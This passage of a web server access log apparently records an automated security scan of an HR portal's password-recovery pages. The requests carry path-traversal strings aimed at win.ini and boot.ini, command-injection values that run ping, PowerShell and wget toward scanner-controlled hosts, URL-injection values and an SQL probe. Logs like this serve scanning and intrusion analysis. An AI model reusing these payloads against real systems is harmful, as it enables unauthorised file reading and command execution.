/ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D298 HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D298 HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3C%28ping+-c+1+v3-ping-299-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3C%28ping+-c+1+v3-ping-299-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%3C%28ping+-c+1+v3-ping-299-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=WF%27SQL%22Probe%3BA--B HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=WF%27SQL%22Probe%3BA--B HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%3C%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D300%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%3C%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D300%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%3C%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D300%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=http%3A%2F%2F3232235620%3A8371%2FAppScanMsg.html%3FvarId%3D302 HTTP/1.1" 200 6720 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=http%3A%2F%2F3232235620%3A8371%2FAppScanMsg.html%3FvarId%3D302 HTTP/1.1" 200 6720 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:37 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:37 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3C%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D303%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3C%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D303%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:37 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%3C%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D303%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:37 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=WF%27SQL%22Probe%3BA--B" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:36 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 -